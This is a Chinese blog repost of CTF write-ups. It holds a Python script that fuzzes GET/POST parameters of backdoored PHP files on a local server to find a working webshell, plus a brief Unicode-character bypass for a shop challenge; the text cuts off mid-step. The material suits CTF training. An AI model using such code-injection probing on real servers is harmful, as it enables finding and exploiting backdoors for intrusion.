首页 > 其他分享 >web_week5

web_week5

时间:2024-07-24 09:19:26浏览次数:6  
标签:web name param sign content file action week5

week5

信息收集

[强网杯 2019]高明的黑客

脚本

注意事项:
1.php 7+
2.放在phpstudy->网站根目录
import os
import requests
import re
import threading
import time

print('开始时间:  ' + time.asctime(time.localtime(time.time())))  # 只是一个简单的时间函数,看起来更漂亮罢了
s1 = threading.Semaphore(100)  # 这儿设置最大的线程数
filePath = r"F:\web\phpstudy\WWW\src"
os.chdir(filePath)  # 改变当前的路径,这个还是不太懂
requests.adapters.DEFAULT_RETRIES = 5  # 设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)  # 得到该目录下所有文件的名称
session = requests.Session()  # 得到session()为之后的实现代码回显得取创造条件
session.keep_alive = False  # 设置连接活跃状态为False


def get_content(file):
    s1.acquire()  # 好像与锁什么的相关,但是还是不太懂,多线程开启
    print('trying   ' + file + '     ' + time.asctime(time.localtime(time.time())))  # 更好看,同时可以对比不加线程和加线程的时间对比
    with open(file, encoding='utf-8') as f:  # 打开php文件,提取所有的$_GET和$_POST的参数
        gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
        posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}  # 所有的$_POST
    params = {}  # 所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/' + file
    req = session.post(url, data=data, params=params)  # 一次性请求所有的GET和POST
    req.close()  # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    # print(content)
    if "xxxxxx" in content:  # 如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url + '?%s=' % a + "echo 'xxxxxx';")
            content = req.text
            req.close()  # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b: "echo 'xxxxxx';"})
                content = req.text
                req.close()  # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:  # flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: ' + file + "  and 找到了利用的参数:%s" % param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()  # 对应于之前的多线程打开


for i in files:  # 加入多线程
    t = threading.Thread(target=get_content, args=(i,))
    t.start()

解题过程:

step1:
访问下载/www.tar.gz	备份源码
step2:
看到有一堆php文件,打开几个看到有GET,POST传参,一些getshell文件,用脚本把get,post这些文件找出来,在本地搭建一个靶机,遍历这些文件那个有效(脚本在上面)
step3:
找到直接访问就是

Unicode

[ASIS 2019]Unicorn shop

知识点:

1.一些Unicode表示的含义是一样的,可以用来绕过
https://www.compart.com/en/unicode/

解题过程:

step1:
让我们买马,在id输入1,price输入对应的回显Wrong commodity!  1,2,3都是一样的回显
到4的时候回显Only one char(?) allowed!  只让输入一个字符
step2:
在那个网站上找到对应的大于1337数字的替换,我用的

标签:web,name,param,sign,content,file,action,week5
From: https://www.cnblogs.com/dleyi/p/18320072

相关文章

  • WebDriverException:消息:服务 chromedriver 意外退出。状态代码为:127
    我想在我的服务器上使用selenium构建我的爬虫。因此我在我的Ubuntu17.10服务器上安装/下载了所需的依赖项-例如chromedriver、chromium-browser等但是,当我运行以下代码时:driver=webdriver.Chrome()它返回以下错误:-----------------------------------......
  • 黑马pink JavaScript学习笔记_Web APIs Day2
    事件监听(绑定)什么是事件?事件是系统内发生的动作或者发生的事情。比如:用户点击页面上的一个按钮。什么是事件监听?就是让程序检测是否有事件产生,一旦有事件触发,就立即调用一个函数做出响应,也称为注册事件比如:鼠标经过的时候,弹出一个alert“鼠标经过了~”语法元素对象.addEven......
  • Web开发:属性
    属性介绍全局属性特定元素属性超链接元素(<a>)图像元素(<img>)输入元素(<input>)表单元素(<form>)表格元素(<table>)其他元素段落元素(<p>)列表元素(<ul>,<ol>,<li>)新增的HTML5属性示例1.id和class属性2.href和target属性3.src......
  • 解锁Nginx日志的宝藏:GoAccess——你的实时、交互式Web日志分析神器!
    在当今数字化的时代,网站的流量和用户行为数据就像是一座蕴藏着无尽秘密的宝藏。而如何有效地挖掘和分析这些数据,成为了许多网站管理者和开发者头疼的问题。GoAccess,一款开源的实时Web日志分析工具,或许能为我们提供一扇窥探这些秘密的窗口。GoAccess:你的流量分析好帮手GoAccess......
  • WPF如何使用WebView,并且禁用F12和F5。
    客户端套浏览器壳,是如今比较浏览的客户端客户端开发方式。这篇文字简单来介绍一下如何在WPF中使用WebView安装WebView的nuget包可以直接执行安装命令Install-PackageMicrosoft.Web.WebView2。也可以通过nuget包管理器,安装Microsoft.Web.WebView2包。安装成功之后,改nuget......
  • Springboot整合WebSocket作为服务端遇到的坑
    最近遇到一个需求,对接某公有云上的坐席系统,需要接收人工坐席和客户对话的语音流,然后调用ASR(AutomaticSpeechRecognition,自动语音识别)引擎,对语音流实时转写,最后将实时转写的内容推送到kafka,供下游系统消费。大致流程图如下:标绿的系统即是我方需求对接系统。问题:上述前......
  • SpringBoot整合WebSocket实践
    简介先来看下维基百科WebSocket的简介:WebSocket是一种与HTTP不同的协议。两者都位于OSI模型的应用层,并且都依赖于传输层的TCP协议。虽然它们不同,但是RFC6455中规定:itisdesignedtoworkoverHTTPports80and443aswellastosupportHTTPproxiesandintermediaries......
  • 【待做】【渗透测试系列】Web渗透测试工具 - wscan
    刻刀|采用机器学习技术自动化的Web渗透测试工具-wscan介绍Wscan是一款专注于WEB安全的扫描器,我们的工具采用了机器学习技术实现了全自动化的Web渗透测试。https://github.com/chushuai/wscan2024.7.7新功能[1]支持常规log4j-rce漏洞检测[2]YamlPOC支持ldap_url和r......
  • 从零开始构建你的第一个Python Web应用
    在本文中,我们将带领你从零开始构建一个简单的PythonWeb应用。不需要任何先验知识,我们会一步步地指导你完成设置、框架选择、代码编写到部署的整个过程。无论你是Web开发新手还是希望扩展技能的老手,这篇文章都将为你提供一个实践操作的起点。一、前言随着互联网技术的飞速......
  • golang 构建Web服务器
    main.gopackagemainimport("fmt" "log" "net/http")funcloggingMiddleware(nexthttp.Handler)http.Handler{ returnhttp.HandlerFunc(func(whttp.ResponseWriter,r*http.Request){ log.Printf("%s%s\n"......